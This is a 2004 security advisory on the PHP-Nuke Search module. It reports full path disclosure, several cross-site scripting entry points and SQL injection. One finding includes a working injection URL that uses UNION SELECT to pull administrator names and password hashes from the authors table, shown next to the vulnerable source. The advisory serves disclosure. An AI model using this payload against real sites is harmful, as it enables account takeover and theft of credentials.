Author: Janek Vind "waraxe"
Date: 18. July 2004
Location: Estonia, Tartu
Web: http://www.waraxe.us/index.php?modname=sa&id=36
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Php-Nuke is a popular freeware content management system, written in php by
Francisco Burzi. This CMS (Content Management System) is used on many thousands
websites, because it's freeware, easy to install and has broad set of features.
Homepage: http://phpnuke.org
Vulnerabilities:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Finally i got looked through all the search module code and as expected, there are
many (in)security related findings. Let's begin ...
A - Full path disclosure
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A1 - full path disclosure in "/modules/Search/index.php":
Go to search page:
http://localhost/nuke73/modules.php?name=Search
and enter to search field "**" (without double quotes).
Or enter plus sign "+".
As result there will be standard php error messages, revealing full path:
Warning: eregi(): REG_BADRPT: in D:apache_wwwroot
uke73modulesSearchindex.php on line 228
Warning: eregi(): REG_BADRPT: in D:apache_wwwroot
uke73modulesSearchindex.php on line 232
Warning: eregi(): REG_BADRPT: in D:apache_wwwroot
uke73modulesSearchindex.php on line 235
B - Cross-site scripting aka XSS
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
B1 - xss in "/modules/Search/index.php" through user submitted variable "$sid":
http://localhost/nuke73/modules.php?name=Search&sid=[xss code here]
B2 - xss in "/modules/Search/index.php" through user submitted variable "$max":
http://localhost/nuke73/modules.php?name=Search&query=*&max=[xss code here]
remark: search results count must be >= 9.
B3 - xss in "/modules/Search/index.php" through uninitialized variables "$sel1" - "sel5":
http://localhost/nuke73/modules.php?name=Search&query=waraxe&sel1=[xss code here]&type=comments
B4 - xss in "/modules/Search/index.php" through uninitialized variable "$match":
http://localhost/nuke73/modules.php?name=Search&a=6&query=*&match=[xss code here]
B5 - xss in "/modules/Search/index.php" through uninitialized variables "$mod1" - "$mod3":
http://www.nukecops.com/modules.php?name=Search&query=*&mod3=[xss code here]
Remark - specific module must be disabled in order to xss triggering!
C - Sql Injection
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
C1 - noncritical sql injection case in "/modules/Search/index.php":
Reason is unsanitized user-submitted variable "$min", which gets delievered directly
to sql request, afrer "ORDER BY / LIMIT" keywords. In mysql version 4.0 its not useful for exploiting,
but in case of new version 4.1, where subselects functionality will be available, there will be
possibility to use blind sql injection methods. So - this security bug must be fixed ASAP.
C2 - critical sql injection case in "/modules/Search/index.php":
Yeah, yeah, yeah - AGAIIIIIN! Fatal sql injection...
"Use the Source, Luke" --> let's look @ original code
----------------[ original source ]-----------------
$query = addslashes($query);
if ($type=="stories" OR !$type)
{
if ($category > 0)
{
$categ = "AND catid='$category' ";
}
elseif ($category == 0)
{
$categ = "";
}
$q = "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext, s.bodytext,
a.url, s.comments, s.topic from ".$prefix."_stories s, ".$prefix."_authors a
where s.aid=a.aid $queryalang $categ";
if (isset($query)) $q .= "AND (s.title LIKE '%$query%' OR s.hometext LIKE '%$query%'
OR s.bodytext LIKE '%$query%' OR s.notes LIKE '%$query%') ";
if ($author != "") $q .= "AND s.aid='$author' ";
if ($topic != "") $q .= "AND s.topic='$topic' ";
if ($days != "" && $days!=0) $q .= "AND TO_DAYS(NOW()) - TO_DAYS(time) <= '$days' ";
$q .= " ORDER BY s.time DESC LIMIT $min,$offset";
$t = $topic;
$result5 = $db->sql_query($q);
----------------[/original source ]-----------------
What we can see here, is that construction "if/elseif" misses ending part "/else".
And if we deliver there "$category" as < 0, then variable "$categ" will be uninitialized.
So - let's get dirty ;)
----------------[ real life exploit ]---------------
http://localhost/nuke73/modules.php?name=Search&type=stories&query=f00bar&category=-1
&categ=%20and%201=2%20UNION%20SELECT%200,0,aid,pwd,0,0,0,0,0,0%20from%20nuke_authors/*
----------------[/real life exploit ]---------------
And you can see some confidential information about admins...
See ya next time and have a nice day!
How to fix:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Fixing tutorials, discussion, help - look at http://www.waraxe.us/forums.html
See ya there!
Greetings:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Greets to Raido Kerna and to http://www.gamecheaters.us staff!
Special greets to icenix and slimjim100!
Tervitused - Heintz ja Maku!
Contact:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
come2waraxe@yahoo.com
Janek Vind "waraxe"
Homepage: http://www.waraxe.us/
---------------------------------- [ EOF ] ------------------------------------
Copyright © by Waraxe IT Security Portal All Right Reserved.
Published on: 2005-01-06 (21606 reads)
[ Go Back ]